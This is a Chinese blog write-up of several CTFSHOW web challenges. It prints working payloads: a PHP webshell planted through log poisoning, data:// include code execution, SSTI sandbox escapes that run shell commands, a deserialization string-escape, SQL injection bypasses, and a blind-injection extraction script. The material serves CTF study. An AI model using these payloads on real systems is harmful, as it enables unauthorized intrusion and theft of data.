CTFSHOW刷题,PHP字符串逃逸、SSTI字符串拼接

签到_观己--日志包含

打开环境

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match('/php/i', $file)){
        die('error');
    }else{
        include($file);
    }

}else{
    highlight_file(__FILE__);
}

?>

查看日志文件

/?file=/var/log/nginx/access.log

得到日志文件

在UA头里写下一句话木马

<?php eval($_POST['cmd']);?>

然后再发送,因为我传了很多次的一句话木马,所以添加了很多条日志信息

进行POST传参

cmd=system('ls');

cmd=system('ls /');

cmd=system('cat /flag.txt');

web1_观字

<?php

#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
        die('仅限http协议访问');
    }
    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
        die('仅限域名地址访问');
    }
    system('curl '.$url);
}

代码审计,已经给了提示flag在http://192.168.7.68/flag里,使用HTTP访问即可,同时这儿我们要绕过他的黑名单

/?url=http://192.168.7.68/flag

我们发现.被过滤了,我们可以使用特殊字符代替,或者使用句号(。)代替

/?url=http://192。168。7。68/flag

题外话: substr()函数

substr() [1]函数返回字符串的一部分。

如果 参数start 是负数且 length 小于或等于 start,则 length 为 0。

不知所措.jpg

打开环境

 在变量$file里必须有test,使用GET传参试一试

?file=test

?file=testphp

他自动给我们在后面加了一个php

?file=test.

他说flag不在这儿。。。用php://filter协议看看test.php的源码

?file=php://filter/read=convert.base64-encode/resource=test.

试试看index.php,但是呢,file里必须包含test

关于php://filter语法:

一般语法是

php://filter/read(或是write)=xxxxx/resource=xxx.php

 那我们就可以在/resource前面乱写呢,他是进行关键字匹配的,那再关键字之外的内容我们可以随便写咯

php://filter/read(或是write)=xxxxx(这儿想写什么都行)/resource=xxx.php

尝试构造url

?file=php://filter/read=convert.base64-encode/test/resource=index.

 

得到源码

<?php
error_reporting(0);
$file=$_GET['file'];
$file=$file.'php';
echo $file."<br />";
if(preg_match('/test/is',$file)){
	include ($file);
}else{
	echo '$file must has test';
}
?>

看到了include ($file);

我们使用data://text/plain来构造命令执行

/?file=data://test/plain,<?php @eval(system('ls'));?>

/?file=data://test/plain,<?php @eval(system('ls /'));?>

 

?file=data://test/plain,<?php @eval(system('cat /FFFFFFFL@GGGG'));?>

web2_故人心

打开环境得到源码

<?php
// 关闭错误报告,防止信息泄露
error_reporting(0);

// 高亮显示当前文件的源码
highlight_file(__FILE__);

// 从 GET 请求获取参数 a, b, c
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_GET['c'];

// 从 POST 请求获取参数 url
$url[1] = $_POST['url'];

// 验证参数 $a 是否满足以下条件:
// 1. 是数字
// 2. 长度小于 7
// 3. 不等于 0
// 4. 平方等于 0
if (is_numeric($a) and strlen($a) < 7 and $a != 0 and $a ** 2 == 0) {

    // 验证参数 $b 和 $c 是否满足哈希条件
    // $b 等于其自身的 MD2 哈希值
    // $c 等于其 MD2 哈希值再进行一次 MD2 哈希后的结果
    $d = ($b == hash("md2", $b)) && ($c == hash("md2", hash("md2", $c)));

    // 如果 $d 为真,表示 $b 和 $c 满足哈希条件
    if ($d) {
        // 显示 hint.php 文件的源码
        highlight_file('hint.php');

        // 验证 $url[1] 是否是有效的 URL
        if (filter_var($url[1], FILTER_VALIDATE_URL)) {
            // 解析 URL,获取主机部分
            $host = parse_url($url[1]);
            print_r($host);

            // 检查主机是否以 ctfshow.com 结尾
            if (preg_match('/ctfshow\.com$/', $host['host'])) {
                // 如果是,读取并显示该 URL 的内容
                print_r(file_get_contents($url[1]));
            } else {
                // 否则,提示差点成功
                echo '差点点就成功了!';
            }
        } else {
            // 如果 URL 无效,提示需要提供 URL
            echo 'please give me url!!!';
        }
    } else {
        // 如果 $b 和 $c 不满足哈希条件,提示用户思考哈希碰撞原理
        echo '想一想md5碰撞原理吧?!';
    }
} else {
    // 如果 $a 的验证失败,提示用户第一个条件都没有通过
    echo '第一个都过不了还想要flag呀?!';
}
?>

第一关:

php小数点后超过161位做平方运算时会被截断,我们可以构造特别小的数字进行绕过,0.000000000000000000000000000000000000000000000001可以绕过但是这里限制了长度,所以我们就可以通过科学计数法来绕过

a=1e-162

 第二关:

题目给了提示

访问robots.txt

接着访问hinthint.txt

Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452    hash("md2",$b)
xxxxxx48399    hash("md2",hash("md2",$b))


MD2 算法特别难破解吗?悄悄告诉你,我看到了作者的payload,但数字不清楚。祝你玩得开心~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))

给了提示,关于前两位都知道是0e,我们通过脚本来爆破

<?php
// 通过循环尝试生成符合条件的 $b
// 循环范围从 100 到 999
for ($i = 100; $i < 999; $i++) {
    // 将 $b 设置为 "0e" 加上循环变量 $i 和 "024452"
    $b = "0e" . $i . "024452";
    // 检查 $b 是否等于其 MD2 哈希值
    if ($b == hash("md2", $b)) {
        // 如果相等,输出 $b
        echo $b;
    }
}
echo "\n"; // 输出一个换行符

// 通过循环尝试生成符合条件的 $c
// 循环范围从 1000 到 9999
for ($i = 1000; $i < 9999; $i++) {
    // 将 $c 设置为 "0e" 加上循环变量 $i 和 "48399"
    $c = "0e" . $i . "48399";
    // 检查 $c 是否等于其 MD2 哈希值再进行一次 MD2 哈希后的结果
    if ($c == hash("md2", hash("md2", $c))) {
        // 如果相等,输出 $c
        echo $c;
    }
}
?>

得到

0e652024452
0e603448399

 构造url访问成功

第三关:

file_get_contents函数使用不存在的协议名导致目录穿越,实现SSRF
php源码中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。

它还要求了我们构造的url中含有ctfshow.com,因此我们可以构造

url=abc://ctfshow.com/../../../fl0g.txt
一层层构造
url=abc://ctfshow.com/../../../../../fl0g.txt

1024_fastapi

打开环境,页面回显一个JSON数据

关于FastAPI

FastAPI 是一个高性能 Web 框架,用于构建 API。

主要特性:

  • 快速:非常高的性能,与 NodeJS 和 Go 相当
  • 快速编码:将功能开发速度提高约 200% 至 300%
  • 更少的错误:减少约 40% 的人为错误
  • 直观:强大的编辑器支持,自动补全无处不在,调试时间更少
  • 简易:旨在易于使用和学习,减少阅读文档的时间。
  • 简短:减少代码重复。
  • 稳健:获取可用于生产环境的代码,具有自动交互式文档
  • 基于标准:基于并完全兼容 API 的开放标准 OpenAPI 和 JSON Schema

对于fastapi,网页会存在自述文档文件/docs

发现有POST传参的/cccalccc页面,还提示了提示需要POST参数q执行操作,我们访问/cccalccc然后传入参数P,因为fastapi是基于Python的,所以我们可以传入一些Python函数

q=str([].__class__)

接下来我们一步一步构造SSTI注入

q=str([].__class__.__mro__[-1])

q=str([].__class__.__mro__[-1].__subclasses__()[189])

q=str([].__class__.__mro__[-1].__subclasses__()[189].__init__)

q=str([].__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['eval'])

q=eval(1+1)

 发现eval函数不能用,可能是被过滤了,我们使用Python的加号拼接字符串绕过

q=str([].__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al'])

q=str([].__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__import__("os").popen("whoami").read()'))

 

嗯。。。。_import_和open被过滤了,继续使用字符串拼接进行绕过

q=str([].__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("whoami").read()'))

q=str([].__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("ls").read()'))

q=str([].__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("grep flag main.py").read()'))

 

q=str([].__class__.__mro__[-1].__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("cat /mnt/f1a9").read()'))

 

php反序列化字符串逃逸-优快云博客

CTF.show:web1_此夜圆_web1此夜圆-优快云博客

字符串逃逸基础

目的:

改变序列化字符串的长度,导致反序列化漏洞,通过替换序列化后字符串中某一个内容,导致某一串字符串变成了字符内容(个人理解,多多包含!)

特点:

  1. php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
  2. 总是先进行序列化,再进行替换修改操作。

函数:str_replace()

str_replace()函数用于在字符串中替换指定的内容

str_replace($search, $replace, $subject, $count);
  • $search:要被替换的字符串或字符串数组;

  • $replace:用于替换的字符串或字符串数组;

  • $subject:需要进行替换操作的字符串或字符串数组;
  • $count(可选):用于储存替换的次数。

基础:

1、反序列化结束符

反序列化以;}结束,后面的字符串不影响正常的反序列化,当然如果;}在成员属性中那么;}只能算是字符串,不能算是字符串

$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";s:5:"b;}en";}'; 

就像在这种情况中,v2=b;}en的,其中;}不具有结束功能的

2、成员属性数量

成员属性数量需要与实际的成员属性数量对应

<?php
class A{
    var $v1 = 'a';    //预定义里只有一个成员属性
}
echo serialize(new A());
 
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}';    //但这里增加了属性v2
var_dump(unserialize($b));
----------------------------------------------------------
O:1:"A":1:{s:2:"v1";s:1:"a";}
bool(false)    //报错

我们只定义了一个成员属性v1,但是在$b里我们又增加了一个成员属性v2,这是不允许的,所以在输出的时候出现了报错,当然如果我们把

当然如果我们把
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}';
改为
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}';

那么他是正确的,会正常输出

3、字符串长度

成员属性字符串的长度必须与实际长度一致

O:1:"A":1:{s:2:"v1";s:3:"a"b";}

其中"是字符还是格式符号由字符串长度3来判断,这儿a和b之间的"是字符串,包裹ab的“是格式符号

例题

CTFSHOW--web1_此夜圆--字符串逃逸(增多)

打开环境什么都没有,下载附件index.php得到源码

index.php

<?php
// 禁用错误报告,以防止错误信息泄露
error_reporting(0);

// 定义一个类 a
class a
{
    public $uname;
    public $password;

    // 构造函数,用于初始化对象的属性
    public function __construct($uname, $password)
    {
        $this->uname = $uname;
        $this->password = $password;
    }

    // 魔术方法 __wakeup,在对象反序列化时自动调用
    public function __wakeup()
    {
        // 检查密码是否为 'yu22x'
        if ($this->password === 'yu22x')
        {
            // 包含 'flag.php' 文件并输出 $flag 变量的值
            include('flag.php');
            echo $flag;    
        }
        else
        {
            // 如果密码错误,输出 'wrong password'
            echo 'wrong password';
        }
    }
}

// 定义一个过滤函数,用于替换字符串中的 'Firebasky' 为 'Firebaskyup'
function filter($string) {
    return str_replace('Firebasky', 'Firebaskyup', $string);
}

// 获取 URL 参数中的 uname 值
$uname = $_GET[1];
$password = 1; // 设置密码为1

// 序列化新的 a 类对象并通过 filter 函数进行过滤
$ser = filter(serialize(new a($uname, $password)));

// 反序列化过滤后的字符串,并触发 __wakeup 方法
$test = unserialize($ser);
?>

只能get传入一个1参数,最后经反序列化后password==='yu22x’就能拿到flag。而1参数赋值给的是$uname,这里就涉及到了反序列化逃逸 。

在这一串中,将Firebasky替换为 Firebaskyup,多了两个字符

因为我们只能读入一个uname,而原来的password默认为1,试着构造

<?php
class a
{
	public $uname='Firebasky";s:8:"password";s:5:"yu22x";}';
	public $password=1;
}
$test=new a();
echo serialize($test)
?>

O:1:"a":2:{s:5:"uname";s:39:"Firebasky";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}

 序列化之后,Firebasky替换为 Firebaskyup,那么uname里的字符串长度就变成41了,这个就会报错。其中,我们需要用";s:8:"password";s:5:"yu22x";}"把原来的s:8:"password";i:1;}给覆盖掉,那么就使得password=yu22x了,并且;}结束语句后,后面的s:8:"password";i:1;}也就没有用了

";s:8:"password";s:5:"yu22x";}"   一共有30个字符,而Firebasky替换为 Firebaskyup是多两个字符,那么我们就要构造15个Firebasky,来填充这30个字符,从而使";s:8:"password";s:5:"yu22x";}"变成字符串内容,覆盖了之前的s:8:"password";i:1;},并且s:8:"password";i:1;}变成了功能字符,没有作用,可有可无了

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

给她

打开环境

以为是SQL注入,尝试输入SQL语句/?name=asd',发现被转义了

题目是给她,和git很相似,使用dirsearch扫一扫

dirsearch -u https://ffc0949e-cfc8-48c6-9e8e-229c5a937943.challenge.ctf.show/

发现git泄露,使用GITHACK工具

python2 GitHack.py https://ffc0949e-cfc8-48c6-9e8e-229c5a937943.challenge.ctf.show/git/

扫到一个hit.php

<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>

 关于sprintf函数:

php sprintf 漏洞,解析php sprintf函数漏洞-优快云博客

sprintf函数使用switch case对15种类型做了匹配,包括%s、%d、%u…但如果在15种类型之外就会直接break。

当我们输入%\%1$\时,sprintf会把反斜杠当做格式化字符串的类型,但他们并不在15种类型之中,就会未经任何处理而被替换为空

addslashes()函数:

addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号(")、双引号(“”)、反斜线(\\)与NUL(NULL字符)

我们还可以看到addslashes()函数进行了过滤,所以我们构造绕过

?name=1&pass=%1$' or 1=1--+

他说There's nothing here,查看一下源代码

我们之间访问/flag,没什么用,抓包看一看

在cookie里发现了file,讲file的值进行16进制转换

发现它访问的是flag.txt,但是flag在/flag里,我们构造/flag的16进制

 2f666c6167

修改file的值为2f666c6167,得到flag

签到题 

https://www.cnblogs.com/dirt2/p/5991033.html

打开得到源码

<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}
 ?>

我们使用分号,执行多个命令来进行绕过

/?url=;ls;

/?url=;cat flag;

假赛生

PHP: preg_replace_callback - Manual

提示:register.php login.php 大佬们别扫了

打开环境,得到源码

<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
    show_source("index.php");
}else{
    $name=$_SESSION['name'];
    $sql='select pass from user where name="'.$name.'"';
    echo $sql."<br />";
    system('4rfvbgt56yhn.sh');
    $query=mysqli_query($conn,$sql);
    $result=mysqli_fetch_assoc($query);
    if($name==='admin'){
        echo "admin!!!!!"."<br />";
        if(isset($_GET['c'])){
            preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
            echo $flag;
        }else{
            echo "you not admin";
        }
    }
}
?>

简单审计一下,大概意思就是需要$name=admin,并且还要通过get传参c,且要绕过正则表达式\w和\W

\w 匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]"。
\W 匹配任何非单词字符。等价于“[^A-Za-z0-9_]"。
[\s]表示,只要出现空白就匹配
[\S]表示,非空白就匹配

(这儿我们使用空格绕过就行了)

注意有两个界面register.php和login.php

我们进入register.php注册一下admin/123

发现被屏蔽了,空格绕过就行(sql注入特点:当最后为空格时会过滤掉空格。)admin /123

注册成功,去登录界面登录admin/123

登录成功,这儿我们需要进行绕过c,我们不输入值即可绕过

萌新记忆 (还不是很明白)

打开环境,查看源代码也没有看到什么有用的信息,抓包看一看,也没发现,扫一扫后台

扫到admin界面,访问

进入了一个登录界面

输入admin/123看一下

提示密码错误,输入admin'/123

用户名/密码错误,猜测用户名就是admin,抓包看一看

发现POST两个参数,u&p

发现SQL注入漏洞,FUZZ一下,发现=,or,union,select,insert,update等敏感字符均被过滤了,但是,没有过滤过滤关键的’,因为and,or都过滤了,我们可以使用||来代替or来实现一个bool的盲注。

u='||'a'<'b'||'&p=1

这儿是因为’a’<'b’始终成立所以它默认我们的账号是正确的,接着构造

u='||'a'>'b'||'&p=1

 发现了第三种回显,这儿不明白这个什么意思,看大佬们的WP总结了一下

确定存在admin用户,接下来我们要去才p的长度

u='||length(p)<1||'&p=1
u='||length(p)<2||'&p=1
u='||length(p)<3||'&p=1
.....
u='||length(p)<17||'&p=1

最后确定长度为17

接下来直接用脚本爆密码

import requests
import re

# 目标URL,用于发送POST请求
url = 'http://cfa5d41a-3048-4463-84c7-b13d2d9fb4d7.challenge.ctf.show/admin/checklogin.php'

# 初始化用于保存字母的列表
pp = []

# 初始化保存flag的字符串
flag = ''

# 生成字母列表,包含a到z的小写字母
for i in range(97, 123):
    pp.append(chr(i))

# 尝试破解的字符串的最大长度,这里假设为17
for i in range(1, 18):
    for j in range(len(pp)):
        # 构造SQL注入payload,猜测字符串的第i个字符
        payload = "'||substr(p,{},1)<'{}".format(i, pp[j])

        # 构造POST请求的数据,其中'u'是注入点,'p'是固定值
        data = {
            'u': payload,
            'p': 1
        }

        # 发送POST请求
        res = requests.post(url=url, data=data)

        # 判断返回的响应是否为“密码错误”,以确定当前猜测字符是否正确
        if "密码错误" == res.text:
            # 如果当前字符猜测正确,将其添加到flag中
            flag += pp[j - 1]
            print(flag)
            break

得到密码 cptbtptpbcptdtptp,登录拿到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值